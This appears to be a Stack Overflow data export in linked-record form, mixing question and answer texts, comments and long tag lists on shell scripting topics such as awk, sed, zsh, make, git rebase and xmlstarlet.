http://stackoverflow.com/comment/135023761
score: 2
type: Comment
has text: Your `awk` script works fine here with GNU `awk` 5.2.2 (but not with the `awk` that comes with macOS, that does not support `FPAT`). So, if you are using GNU `awk` you should consider again @KamilCuk's comment. There may be something related to the encoding of your file that has an impact with `awk` but not with your python script.
comment on: http://stackoverflow.com/q/76581584
type: QuestionComment

zsh
tags question: http://stackoverflow.com/q/76638009
tags question: http://stackoverflow.com/q/76694527
tags question: http://stackoverflow.com/q/76550372
tags question: http://stackoverflow.com/q/76643341
type: Tag
tag name: zsh
tags question: http://stackoverflow.com/q/76571308
tags question: http://stackoverflow.com/q/76682292
tags question: http://stackoverflow.com/q/76840291
tags question: http://stackoverflow.com/q/76877760
tags question: http://stackoverflow.com/q/76772024
tags question: http://stackoverflow.com/q/76854869
tags question: http://stackoverflow.com/q/76855842
tags question: http://stackoverflow.com/q/76770023
tags question: http://stackoverflow.com/q/76765144
tags question: http://stackoverflow.com/q/76916410
tags question: http://stackoverflow.com/q/76905287
tags question: http://stackoverflow.com/q/77052638
tags question: http://stackoverflow.com/q/76993753
tags question: http://stackoverflow.com/q/77058657
tags question: http://stackoverflow.com/q/77118220
tags question: http://stackoverflow.com/q/77168940
tags question: http://stackoverflow.com/q/77203420
tags question: http://stackoverflow.com/q/77124682
tags question: http://stackoverflow.com/q/77083171
tags question: http://stackoverflow.com/q/77060550
tags question: http://stackoverflow.com/q/77139164
tags question: http://stackoverflow.com/q/77379838
tags question: http://stackoverflow.com/q/77242534
tags question: http://stackoverflow.com/q/77467520
tags question: http://stackoverflow.com/q/77523932
tags question: http://stackoverflow.com/q/77487219
tags question: http://stackoverflow.com/q/77556469
tags question: http://stackoverflow.com/q/77521979
tags question: http://stackoverflow.com/q/77633303
tags question: http://stackoverflow.com/q/77607660
tags question: http://stackoverflow.com/q/77645703
tags question: http://stackoverflow.com/q/77861901
tags question: http://stackoverflow.com/q/77869546
tags question: http://stackoverflow.com/q/77819786
tags question: http://stackoverflow.com/q/78044331
tags question: http://stackoverflow.com/q/78044752
tags question: http://stackoverflow.com/q/78116787
tags question: http://stackoverflow.com/q/78061723
tags question: http://stackoverflow.com/q/78013508
tags question: http://stackoverflow.com/q/78098598
tags question: http://stackoverflow.com/q/78274299
tags question: http://stackoverflow.com/q/78175063
tags question: http://stackoverflow.com/q/78307307
tags question: http://stackoverflow.com/q/78417026
tags question: http://stackoverflow.com/q/78392327
tags question: http://stackoverflow.com/q/78439754
tags question: http://stackoverflow.com/q/78537830
tags question: http://stackoverflow.com/q/78465610
tags question: http://stackoverflow.com/q/78581308
tags question: http://stackoverflow.com/q/78742824
tags question: http://stackoverflow.com/q/78596252
tags question: http://stackoverflow.com/q/78597052
tags question: http://stackoverflow.com/q/78700014
tags question: http://stackoverflow.com/q/78791234
tags question: http://stackoverflow.com/q/78842937
tags question: http://stackoverflow.com/q/78859737
tags question: http://stackoverflow.com/q/78839844
tags question: http://stackoverflow.com/q/78988601
tags question: http://stackoverflow.com/q/78973756
tags question: http://stackoverflow.com/q/78921080
tags question: http://stackoverflow.com/q/79052033
tags question: http://stackoverflow.com/q/79107325
tags question: http://stackoverflow.com/q/79219129
tags question: http://stackoverflow.com/q/79139373
tags question: http://stackoverflow.com/q/79110060
tags question: http://stackoverflow.com/q/79218892
tags question: http://stackoverflow.com/q/79135225
tags question: http://stackoverflow.com/q/79283155
tags question: http://stackoverflow.com/q/79419264
tags question: http://stackoverflow.com/q/79438491
tags question: http://stackoverflow.com/q/79511191
tags question: http://stackoverflow.com/q/79465116

clap
type: Tag
tags question: http://stackoverflow.com/q/76645134
tag name: clap

http://stackoverflow.com/a/76679059
type: Answer
has body: try this pls: var string='test@$134!'&quot;'&quot; Im escaping &quot;!&quot; with single quote Im adding a single quote at the end with &quot;'&quot; In my shell, the variable print exactly as you want.
answers question: http://stackoverflow.com/q/76656022
score: 0

http://stackoverflow.com/comment/135172837
has text: `token` should become the content of the file `/var/run/secrets/kubernetes.io/serviceaccount/token`. Most likely, the file is empty.
comment on: http://stackoverflow.com/q/76669307
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76697562
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/76697224
has comment: http://stackoverflow.com/comment/135219813
upvote count: 1
has body: Ok, after an improvement in my xml-foo, I've come up with a bash that works and produces what I'm looking for: xmlstarlet sel -N x="http://ws_export.ws.localhost/" -t -m "//x:item" -v "x:CodIO" -o ";" -v "x:DescIO" -n test.xml > test.csv basically all I had to do was list all my columns name, and a separator with a correct syntax, and declare the WS action which I did not right in my first attempt.

http://stackoverflow.com/comment/135440351
score: 0
has text: thanks for your reply, but i try it and the console output something else.Don't show the 101
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76683372

http://stackoverflow.com/a/76679163
answers question: http://stackoverflow.com/q/76678549
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135200369
type: Answer
has comment: http://stackoverflow.com/comment/135212752
has body: I've copied your command output to a file 'f' to make some tests, you don't need tr and grep, sed alone can remove all unnecessary stuff: $ sed -r '/^\s*$|^-|\(.*\)|^Ins/d;s/ //g' f DesktopApplicationsModule Registered ServerApplicationsModule Registered BasesystemModule Registered LegacyModule NotRegistered Now to pretty print this lets use printf: $ printf '%-30s%s\n' $(sed -r '/^\s*$|^-|\(.*\)|^Ins/d;s/ //g' f) DesktopApplicationsModule Registered ServerApplicationsModule Registered BasesystemModule Registered LegacyModule NotRegistered Looks cool) and to make it the way you wanted lets do this: # add all data to an array arr=( $(sed -r '/^\s*$|^-|\(.*\)|^Ins/d;s/ //g' f) ) # print initial text and first 2 items from array printf 'Installed Products : %-30s%s\n' ${arr[@]:0:2} # print the rest, loop over the rest of array for ((i=2; i&lt;${#arr[@]}; i+=2)); { # empty valued added here⤵ to propper alighnment printf '%21s%-30s%s\n' '' ${arr[@]:i:2} } Result: Installed Products : DesktopApplicationsModule Registered ServerApplicationsModule Registered BasesystemModule Registered LegacyModule NotRegistered Update, here is the sed rule /^\s*$|^-|\(.*\)|^Ins/d;s/ //g explanation. There are 2 sed commands separated via ';'. First /.../d - delete command and second s///g - substitute command. Lets take a closer look at them: /^\s*$|^-|\(.*\)|^Ins/d this command is consists of several regex patterns to match unwanted strings, all matched strings would be removed: ^\s*$ - will match strings of 'space' characters ^- - will match strings starting from '-' \(.*\) - will match strings with '()' ^Ins - will match strings starting with 'Ins' s/ //g substitute all spaces with nothing(remove spaces) I've added this coz OP has the desired output in description without spaces. But according to the OP's comment spaces must be preserved, lets do this. Looks like we only need to remove 2-nd sed command s/ //g? Nope this will ruin the output: Installed Products : Desktop Applications Mod…
has comment: http://stackoverflow.com/comment/135201257
accepted answer of: http://stackoverflow.com/q/76678549
score: 0

http://stackoverflow.com/comment/134987753
score: 0
comment on: http://stackoverflow.com/q/76560632
type: QuestionComment
type: Comment
has text: @Jetchisel, ...but yes -- I'm in the US; there's no automatic transfer of copyright even when current ownership is unknown or nonexistent. Probably copyright is technically held by a bank the company owed money to or some other creditor; it would cost lawyer-fee money to even do the research.

http://stackoverflow.com/comment/135129339
type: QuestionComment
comment on: http://stackoverflow.com/q/76644366
type: Comment
has text: In my opinion, the problem is with the command-line parsing. What is the code for parsing the command-line?
score: 0

http://stackoverflow.com/comment/135200057
comment on: http://stackoverflow.com/q/76685165
type: QuestionComment
type: Comment
has text: Do not post images of text. That is unreadable. Please post text as text.
score: 0

http://stackoverflow.com/comment/135039352
type: Comment
comment on: http://stackoverflow.com/q/76590436
score: 0
has text: BTW, this is also arguably duplicative of [Extract pattern from a string](https://stackoverflow.com/questions/11533063/extract-pattern-from-a-string)
type: QuestionComment

installation
tags question: http://stackoverflow.com/q/76579841
tag name: installation
type: Tag
tags question: http://stackoverflow.com/q/76631662
tags question: http://stackoverflow.com/q/76766553
tags question: http://stackoverflow.com/q/77379113
tags question: http://stackoverflow.com/q/78604962

http://stackoverflow.com/q/76591635
has comment: http://stackoverflow.com/comment/135040991
tagged with: sh
has body: My goal is to get the last modified time from a file stored in a variable. EPOCH would be preferred, but as of now I can't get the date using "date -r" at the very least. As you can see below I store the file I want in the variable "$oldestfile" Then I try to execute "date -r" against it to get the last modified time but it errors out. PLEASE HELP!! jssteele89@JAREDSTEELEB41F:~$ oldestfile=`ls -Ulta f41895.archivetosmarsh.com/emailarchive*/Maildir | grep .duplicated999 | tail -n 1` jssteele89@JAREDSTEELEB41F:~$ echo $oldestfile drwxr-xr-x 1 jssteele89 jssteele89 4096 Jun 30 11:10 .duplicated999 jssteele89@JAREDSTEELEB41F:~$ date -r $oldestfile date: extra operand ‘jssteele89’ Try 'date --help' for more information. jssteele89@JAREDSTEELEB41F:~$
linked to: http://stackoverflow.com/q/26888867
score: 0
has comment: http://stackoverflow.com/comment/135040622
has comment: http://stackoverflow.com/comment/135040660
tagged with: shell
answer count: 1
has answer: http://stackoverflow.com/a/76592536
has comment: http://stackoverflow.com/comment/135042590
has comment: http://stackoverflow.com/comment/135040623
has comment: http://stackoverflow.com/comment/135040671
has title: How to use get Last modified time from file stored in Variable
tagged with: linux
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135040663
type: UnansweredQuestion

xmlstarlet
type: Tag
tag name: xmlstarlet
tags question: http://stackoverflow.com/q/76697224
tags question: http://stackoverflow.com/q/78023274

http://stackoverflow.com/a/76639116
type: Answer
accepted answer of: http://stackoverflow.com/q/76633771
score: 2
has comment: http://stackoverflow.com/comment/135135402
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135130666
has body: To expand on Diego's excellent answer a bit, the -n options basically says "shut up unless I ask for something", but if it totally suppressed ALL output, it would be useless, yes? Basically, any time you tell sed you want output, it will still give it. $: cat file <this is the content of "file"> $: printf "%s\n" {a..z} | sed -n ' 2= # the line number 3p # print this line 4l # "list" unambiguously 5r file /f/a oo # add - still hides f /m/i hi # insert - still hides m /q/c silent! # change - new value shows ' # note a i and c include the comment. 2 c d$ <this is the content of "file"> oo # add - still hides f hi # insert - still hides m silent! # change - new value shows Hope that helps.
answers question: http://stackoverflow.com/q/76633771
type: AcceptedAnswer

http://stackoverflow.com/comment/135179368
score: 0
comment on: http://stackoverflow.com/a/76656463
has text: @sandboxcom Giving you a profound answer relies on verifying it against actual data. That's why you were [asked](https://stackoverflow.com/q/76656017/#comment135149915_76656017) to provide some input and (its intended) output data. As it turns out, your example wasn't representative (enough). Please consider either updating your sample data or providing (a relevant excerpt of) your real data, because as of right now there's no way to relate your coding attempts (`disk: .sourceDisk, info: [.diskSizeGb, .name, .creationTimestamp]`) and your observations ("I get separate objects") to any data.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76616025
downvote count: 0
has body: process.env is your node process. You need a way to expose your signedToken to the current shell process. One such way is print the token to stdout and catch it in bash, assuming your node script doesn't produce any other output. Here's the gist of it: tee -a test.js > /dev/null << EOT ... process.stdout.write(signedToken); EOT ... token=$(node test.js) ... --header "Authorization: $token" ... If the node script produces other output, write the token to an external file which then your bash script will read and use in the curl command.
upvote count: 1
type: Answer
score: 1
answers question: http://stackoverflow.com/q/76606220

http://stackoverflow.com/comment/135040433
comment on: http://stackoverflow.com/q/76591531
score: 3
has text: And considering that the second argument to [`execv`](https://man7.org/linux/man-pages/man3/exec.3.html) should be `char * const *` doing `free(cmd->argv)` seems wrong. Also, if `execv` fails, it doesn't have to be that the command can't be found, there could be other reasons as well.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76659289
has body: Not sure if I've misunderstood, but here is one potential option using AWK: awk 'FNR == NR { num_fields_db = NF data[$1] = $0 next } { if ($1 in data) { print data[$1], $2 } else { for (i = 1; i < num_fields_db; i++) { output = output "NULL" "\t" } print $1 "\t" output $2 output = "" } }' db.txt app.txt 5.13.0.12S WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current Yes 5.13.0.11S WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous Yes 5.13.0.24S NULL NULL NULL NULL NULL NULL Yes 5.13.0.23S NULL NULL NULL NULL NULL NULL Yes 5.13.0.22S NULL NULL NULL NULL NULL NULL Yes Or with GNU join: join -e "NULL" -j1 -a1 -o 1.1,2.2,2.3,2.4,2.5,2.6,2.7,1.2 <(sort app.txt) <(sort db.txt) 5.13.0.11S WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous Yes 5.13.0.12S WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current Yes 5.13.0.22S NULL NULL NULL NULL NULL NULL Yes 5.13.0.23S NULL NULL NULL NULL NULL NULL Yes 5.13.0.24S NULL NULL NULL NULL NULL NULL Yes # tab delimited join -e "NULL" -j1 -a1 -o 1.1,2.2,2.3,2.4,2.5,2.6,2.7,1.2 <(sort app.txt) <(sort db.txt) | tr -s " " "\t" 5.13.0.11S WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous Yes 5.13.0.12S WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current Yes 5.13.0.22S NULL NULL NULL NULL NULL NULL Yes 5.13.0.23S NULL NULL NULL NULL NULL NULL Yes 5.13.0.24S NULL NULL NULL NULL NULL NULL Yes
downvote count: 0
answers question: http://stackoverflow.com/q/76659118
type: Answer
upvote count: 3
score: 3

http://stackoverflow.com/comment/135151329
type: Comment
type: AnswerComment
has text: I don't wanna start an application, I want it to cycle to that specific application tab that is opened already instead of the first 2 most recent tabs at a set interval
score: 1
comment on: http://stackoverflow.com/a/76656905

http://stackoverflow.com/comment/135233218
comment on: http://stackoverflow.com/q/76694496
score: 0
type: QuestionComment
type: Comment
has text: @CharlesDuffy Fair enough, though I think this may be more useful to developers working w/ the pg database, than those struggling w/ CLI usage. I suppose it would belong in either place. Appreciate the help.

http://stackoverflow.com/a/76550686
answers question: http://stackoverflow.com/q/76549073
score: 0
has body: One awk idea: awk ' NR == FNR { if ( /MATCH LINE/ ) tgt = FNR + 2 if ( FNR == tgt ) $3 = "REPLACE_ME" # replace 4th field with a string that you know does not exist in main if ( tgt > 0 && /write output/ ) $4 = "REPLACE_ME" # replace 3rd field with the same dummy replacement string template = template (template != "" ? ORS : "") $0 # add current line to our template block of text next } { if ( tgt > 0 ) { # if "MATCH LINE" exists then ... template_copy = template # copy template gsub(/REPLACE_ME/,$2,template_copy) # perform replacements against "template_copy" print template_copy > $1 # print "template_copy" to output file "$1" close($1) # close file descriptor } } ' main ref NOTES: if MATCH LINE does not exist in main then no output files will be generated if main could contain the string REPLACE_ME then modify the code to use a string that you know won't exist in main if fields (in main) are separated by something other than a single space (eg, tabs, multiple spaces) this solution will not maintain the original spacing (ie, tabs and multi-spaces will be replaced with a single space); maintaining original spacing is doable but requires more code This geneartes: $ head Out* ==> Out1 <== one line here This is the 'MATCH LINE' # this is just a comment Now this ONE to be updated write output label ONE another line here ==> Out2 <== one line here This is the 'MATCH LINE' # this is just a comment Now this TWO to be updated write output label TWO another line here ==> Out3 <== one line here This is the 'MATCH LINE' # this is just a comment Now this THREE to be updated write output label THREE another line here
type: Answer
has comment: http://stackoverflow.com/comment/134979728
has comment: http://stackoverflow.com/comment/134980049
has comment: http://stackoverflow.com/comment/134974193
has comment: http://stackoverflow.com/comment/134979557

gnu-make
tag name: gnu-make
type: Tag
tags question: http://stackoverflow.com/q/76587890
tags question: http://stackoverflow.com/q/78756229
tags question: http://stackoverflow.com/q/78931386
tags question: http://stackoverflow.com/q/79077163

http://stackoverflow.com/a/76675713
type: Answer
has body: Make the before/after parts of any length (including zero): sed -i 's/&lt;script[^&gt;]*&gt;[^&lt;]*XXX[^&lt;]*&lt;\/script&gt;//g' test.txt
score: 0
answers question: http://stackoverflow.com/q/76675675

struct
type: Tag
tag name: struct
tags question: http://stackoverflow.com/q/76703360

http://stackoverflow.com/q/76631087
downvote count: 1
has answer: http://stackoverflow.com/a/76631583
has comment: http://stackoverflow.com/comment/135147324
has comment: http://stackoverflow.com/comment/135108301
type: Question
has title: Modify each commit in current branch by bash command
tagged with: shell
type: UnansweredQuestion
answer count: 1
favorite count: 0
has body: have branch with three commits forgot to run Rubocop "linter" after I did some rebasing-amending CI build didn't go well now I want to fix the past I could rebase the branch with edit command for each commit and do it all manually, but where is the adventure in that Also if I'd run into a branch like that, with 20+ commits, I definitely don't want to be fixing it manually. What is the right way to modify existing commits by shell command? Ideas / What I've tried Idea 1 I know there is exec command in rebase, but I'd probably have to include the git-add and git-commit in my command $ git rebase --exec "rubocop --autocorrect && git commit --amend" <parent branch> ... error: cannot rebase: You have unstaged changes. warning: execution succeeded: rubocop --autocorrect && git commit --amend but left changes to the index and/or the working tree. Commit or stash your changes, and then run git rebase --continue If it is possible without it, pls let me know. Idea 2 I have a script from long time ago, which I overflow-pasted together somehow. This script is reseting the author of commits. It does so via git filter-branch --env-filter, so filter-branch seems like what I am looking for. $ git filter-branch --commit-filter 'rubocop --autocorrect ' HEAD~3..HEAD This command finishes, but unfortunately leaves the history untouched. Also everywhere in the man page and when I run the command, it says filter-branch is a dangerous command and nobody should be using it :/
score: -1
upvote count: 0
tagged with: bash
tagged with: git

http://stackoverflow.com/comment/135093359
type: QuestionComment
type: Comment
has text: Nested +'s like you were using give exponential behavior. I suggest the book [Mastering Regular Expressions](https://www.oreilly.com/library/view/mastering-regular-expressions/0596528124/)
comment on: http://stackoverflow.com/q/76622373
score: 0

http://stackoverflow.com/comment/135095854
type: Comment
score: 3
comment on: http://stackoverflow.com/q/76623990
has text: Please edit your question to include the versions of your `sed` command that you thought *really* should work. Then we can help improve your understanding. DON'T reply in comments, and please use the `{}` tool from the Edit menu for correct `code/data/output/errMsgs` forrmatting. You should be able to explain your question with `echo "arinare-naturale-sexy-e-p0rchissima-f-it63s1vg0/index.html | sed 's/X/Y/'` . Good luck.
type: QuestionComment

http://stackoverflow.com/comment/135192987
score: 0
comment on: http://stackoverflow.com/q/76681562
type: QuestionComment
type: Comment
has text: I'd probably write a program, in your choice of shell or awk, to store already-seen items in a dictionary or associative array and suppress reprinting.

http://stackoverflow.com/comment/135113671
score: 0
type: Comment
comment on: http://stackoverflow.com/a/76634076
type: AnswerComment
has text: I did it. I had to add "" .. THank you very much

http://stackoverflow.com/comment/135095940
score: 1
type: QuestionComment
has text: I am using the macOS 13.2, seem I have to start the visual studio code from terminal to make it inherit the shell environment
type: Comment
comment on: http://stackoverflow.com/q/76622495

http://stackoverflow.com/a/76588449
has comment: http://stackoverflow.com/comment/135080543
has comment: http://stackoverflow.com/comment/135081344
has comment: http://stackoverflow.com/comment/135058137
score: 2
answers question: http://stackoverflow.com/q/76587890
has body: To define a variable inside a rule you need to use eval: $(eval myvar=$(shell echo hello)) $(info myvar is ${myvar})
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135090069
comment on: http://stackoverflow.com/q/76620625
has text: I see only `hello.txt` in the output.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76552349
answers question: http://stackoverflow.com/q/76549287
score: 0
type: Answer
has body: As far as I understand you need something like this, send data via nc: nc -q0 $address $port <<< "$data" And receive something via nc: result=$(nc -l -p $sport) echo $result

http://stackoverflow.com/comment/135127712
comment on: http://stackoverflow.com/q/76643341
type: Comment
has text: And keep in mind that bash and zsh are two different shells; not all code that works for one is expected to work in the other.
score: 0
type: QuestionComment

http://stackoverflow.com/a/76659349
answers question: http://stackoverflow.com/q/76659118
type: Answer
has body: With your shown samples please try following awk solution. Using column to get the output more clear form. awk ' FNR==1 && NR==1{ for(i=1;i<=NF;i++){ null=(null?null "\t":"") "NULL" } } FNR==NR{ arr[$1]=$0 next } { print ($1 in arr)?arr[$1] "\t" $2:$1 "\t" null } ' db.txt app.txt | column -t
downvote count: 0
score: 3
upvote count: 3

http://stackoverflow.com/q/76669088
tagged with: variables
has title: Execute same command multiple times, changing only the value of a single variable
has comment: http://stackoverflow.com/comment/135173124
tagged with: bash
type: Question
answer count: 0
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/8880603
linked to: http://stackoverflow.com/q/8880603
tagged with: sh
has comment: http://stackoverflow.com/comment/135173139
has body: New to scripting, I need the script to replace $takevaluefrombelow$ from the channel list and run the download command until there are no channel left, how do i archive that? Thanks /home/server/yt-dlp --match-filter "title~=(?i)앨리스" --write-thumbnail --write-subs --sub-langs all --write-description --write-annotations --write-info-json --continue --ignore-errors --convert-thumbnails jpg --download-archive done.txt "https://www.youtube.com/$value$/search?query=앨리스" @channel1 @channel2 @channel5 @channel7 @ewchannel7 I need the script to replace $takevaluefrombelow$ from the channel list and run the download command until there are no channel left, how do i archive that?
score: 0
has comment: http://stackoverflow.com/comment/135172118
tagged with: shell
tagged with: linux

command-line
tags question: http://stackoverflow.com/q/76617416
type: Tag
tags question: http://stackoverflow.com/q/76633273
tag name: command-line
tags question: http://stackoverflow.com/q/76583869
tags question: http://stackoverflow.com/q/76810878
tags question: http://stackoverflow.com/q/76805544
tags question: http://stackoverflow.com/q/76809700
tags question: http://stackoverflow.com/q/76850146
tags question: http://stackoverflow.com/q/76745733
tags question: http://stackoverflow.com/q/77024360
tags question: http://stackoverflow.com/q/76978564
tags question: http://stackoverflow.com/q/77211623
tags question: http://stackoverflow.com/q/77132631
tags question: http://stackoverflow.com/q/77122156
tags question: http://stackoverflow.com/q/77175255
tags question: http://stackoverflow.com/q/77096322
tags question: http://stackoverflow.com/q/77105912
tags question: http://stackoverflow.com/q/77317984
tags question: http://stackoverflow.com/q/77534163
tags question: http://stackoverflow.com/q/77628616
tags question: http://stackoverflow.com/q/77607660
tags question: http://stackoverflow.com/q/77670604
tags question: http://stackoverflow.com/q/77908875
tags question: http://stackoverflow.com/q/77836183
tags question: http://stackoverflow.com/q/77888241
tags question: http://stackoverflow.com/q/77965315
tags question: http://stackoverflow.com/q/78143536
tags question: http://stackoverflow.com/q/78041861
tags question: http://stackoverflow.com/q/78116662
tags question: http://stackoverflow.com/q/78013508
tags question: http://stackoverflow.com/q/78120248
tags question: http://stackoverflow.com/q/78227617
tags question: http://stackoverflow.com/q/78303334
tags question: http://stackoverflow.com/q/78231603
tags question: http://stackoverflow.com/q/78175063
tags question: http://stackoverflow.com/q/78408534
tags question: http://stackoverflow.com/q/78343573
tags question: http://stackoverflow.com/q/78421485
tags question: http://stackoverflow.com/q/78370924
tags question: http://stackoverflow.com/q/78581887
tags question: http://stackoverflow.com/q/78712865
tags question: http://stackoverflow.com/q/78739856
tags question: http://stackoverflow.com/q/78736578
tags question: http://stackoverflow.com/q/78609403
tags question: http://stackoverflow.com/q/78769612
tags question: http://stackoverflow.com/q/78816795
tags question: http://stackoverflow.com/q/79014241
tags question: http://stackoverflow.com/q/79097649
tags question: http://stackoverflow.com/q/79151191
tags question: http://stackoverflow.com/q/79231304
tags question: http://stackoverflow.com/q/79193883
tags question: http://stackoverflow.com/q/79077664
tags question: http://stackoverflow.com/q/79530493
tags question: http://stackoverflow.com/q/79527767

plist
type: Tag
tags question: http://stackoverflow.com/q/76649342
tag name: plist
tags question: http://stackoverflow.com/q/77040845
tags question: http://stackoverflow.com/q/77592492
tags question: http://stackoverflow.com/q/79171677

http://stackoverflow.com/comment/135137491
has text: You forgot to show your file. But my money is on you trying to import `intro.js`, whereas you should import `./intro.js`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76617416
score: 0

desktopcapturer
tag name: desktopcapturer
type: Tag
tags question: http://stackoverflow.com/q/76679712

version-control
type: Tag
tags question: http://stackoverflow.com/q/76657149
tag name: version-control

http://stackoverflow.com/comment/135054591
has text: This question is impossible to answer unless we know what is processing the YAML file. Can you provide more details?
comment on: http://stackoverflow.com/q/76599721
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135235160
has text: I get the argument. We just see from the error message, that it does not come from bash, but from sh. Of course if this is a system where sh is a symlink to bash, it would be bash which effectively is executed, and if bash in POSIX mode (i.e. when called as sh) still supports `source`, this could explain the observation.
comment on: http://stackoverflow.com/a/76704102
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135191824
has text: You can use `describe-snapshots` to get the status. Poll for it in a loop until status is `available`.
comment on: http://stackoverflow.com/q/76681101
type: QuestionComment
score: 1
type: Comment

http://stackoverflow.com/q/76583869
tagged with: shell
has title: How can I use the --stdin option with git-for-each-ref?
has body: Recently, since git 2.41.0, a --stdin option has been added for the for-each-ref command. I tried using it to filter only certain refs but I failed and got this error message instead: fatal: unknown arguments supplied with --stdin What I wanted to do was to get all the branches that match a pattern given by a different command. For argument’s sake let's say that I want to get all local refs that are in alpha or beta. I was writing: echo 'refs/heads/alpha/**\nrefs/heads/beta/**' | git for-each-ref 'refs/heads/**' --stdin but it failed. I also tried writing it like: git for-each-ref 'refs/heads/**' --stdin &lt;&lt;&lt; 'refs/heads/alpha/**\nrefs/heads/beta/**' but got the same error. As of today (29/06/2023) there aren't any examples in the docs showing how to use --stdin
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76583926
tagged with: command-line
tagged with: stdin
has comment: http://stackoverflow.com/comment/135027421
accepted answer: http://stackoverflow.com/a/76583926
downvote count: 0
score: 1
tagged with: git
type: Question

http://stackoverflow.com/q/76602471
has comment: http://stackoverflow.com/comment/135059505
duplicate of: http://stackoverflow.com/q/14155596
score: 0
has title: How to interpoate var from environment?
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135059479
type: Question
tagged with: shell
linked to: http://stackoverflow.com/q/14155596
has body: Say I have a json file that containers a var: a.json {"hello": "$WHO"} And I have WHO in environment: export WHO=world. I want to interpolate a.json from env and generate a new json file: {"hello": "world"} Is there a pure shell way to archive that?

http://stackoverflow.com/a/76656905
has comment: http://stackoverflow.com/comment/135151329
has body: You can use Win + [Number] to open an application from your taskbar directly.
has comment: http://stackoverflow.com/comment/135237647
has comment: http://stackoverflow.com/comment/135200857
has comment: http://stackoverflow.com/comment/135166421
type: Answer
answers question: http://stackoverflow.com/q/76656871
score: 0
has comment: http://stackoverflow.com/comment/135163302

http://stackoverflow.com/comment/135229599
score: 0
has text: Note that you cannot recover them _exactly_, because the information about the separator was lost.
type: QuestionComment
comment on: http://stackoverflow.com/q/76703360
type: Comment

http://stackoverflow.com/comment/135029797
type: QuestionComment
comment on: http://stackoverflow.com/q/76585150
type: Comment
has text: You're missing a `done` in the code.
score: 0

http://stackoverflow.com/comment/135036983
score: 1
type: Comment
has text: Hmmm, it looks like my array of numbers is incorrect. `printf '%q\n' "$queued_builds" 243$'\n'244$'\n'245$'\n'246$'\n'247$'\n'248$'\n'249` They are being captured as a single string with new lines, rather than an array of multiple x3 digit strings Had not considered this. I need to examine the command that is populating the array I think. `(az pipelines runs list --status notstarted | grep _apis/build/Builds | cut -d "/" -f9 | grep -o '[0-9]*')` Thanks for the pointer to where I need to focus.
type: QuestionComment
comment on: http://stackoverflow.com/q/76588508

http://stackoverflow.com/comment/135095250
has text: Yes that was the answer.. I don't understand why the fact that 0 tests that return SUCCESS is a problem, but hey... it finally works, thanks.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76621928

getopts
tags question: http://stackoverflow.com/q/76692218
tag name: getopts
type: Tag
tags question: http://stackoverflow.com/q/76905287
tags question: http://stackoverflow.com/q/77118220

http://stackoverflow.com/comment/135098622
type: Comment
has text: You just gave an **example** of how this file could look like. You would have to specify in general the syntax of this file in order to get a reasonable answer. For the concrete example which you have posted, it would be sufficient to prepend each line of the file with `export ` and then source the file.
comment on: http://stackoverflow.com/q/76624545
score: 1
type: QuestionComment

http://stackoverflow.com/q/76633771
tagged with: sed
answer count: 2
has title: Why does GNU sed print output when using the -n option with the a command?
tagged with: bash
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76639116
has comment: http://stackoverflow.com/comment/135114793
accepted answer: http://stackoverflow.com/a/76639116
has body: I came across some unexpected behavior when using the sed command with the -n option and the a command. According to the sed manual, the -n option should suppress automatic printing of the pattern space at the end of each cycle through the script. However, when I run the following command: echo a | sed -n -e ‘$a b’ It prints b, even though I would expect it to print nothing. I tried running the command echo a | sed -n -e '$a b', expecting it to print nothing because of the -n option. However, it printed b, which was unexpected. If this is the expected behavior of GNU sed when using these options together, it means that I am misunderstanding how they should work. Can someone explain why this is happening?
tagged with: gnu
has answer: http://stackoverflow.com/a/76633865
has comment: http://stackoverflow.com/comment/135113163
type: Question
tagged with: shell
tagged with: linux
possible better answer: http://stackoverflow.com/a/76633865
downvote count: 0
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135112230

http://stackoverflow.com/a/76546657
downvote count: 1
has body: The "expr" was missing, soo when trying do decrease the stock the var $stock was a string instead of int. To replace the line in the file I change from sed to awk. # Decrease stock by one newStock=$(expr "$stock" - 1) # Update the stock value in the line using awk awk -v title="$titulo" -v newStock="$newStock" '{ if ($2 == title) { $6 = newStock } print }' livros > livros_temp && mv livros_temp livros
answers question: http://stackoverflow.com/q/76546217
upvote count: 0
type: Answer
score: -1

http://stackoverflow.com/comment/135198359
type: Comment
has text: @EgorKlepikov Thank you for the comment. Unfortunately, it does not work, however because it is another error I need to consider it in another question.
score: 0
comment on: http://stackoverflow.com/q/76666744
type: QuestionComment

http://stackoverflow.com/comment/135169113
type: Comment
comment on: http://stackoverflow.com/q/76666744
type: QuestionComment
score: 1
has text: I'm not that much specialist for Windows, but AFIK, either Windows or your IDE need to know that they have to use `bash.exe` to run a script. Under Windows, this is usually done by associating a file extension (in your case: `.bash`) with the absolute path of the bash executable. This is explained [here](https://www.computerhope.com/issues/ch000572.htm). An IDE too should provide in its preferences to define such an association. Perhaps you did not do any of this? Can you run your script from a Windows CMD prompt?

http://stackoverflow.com/comment/135222360
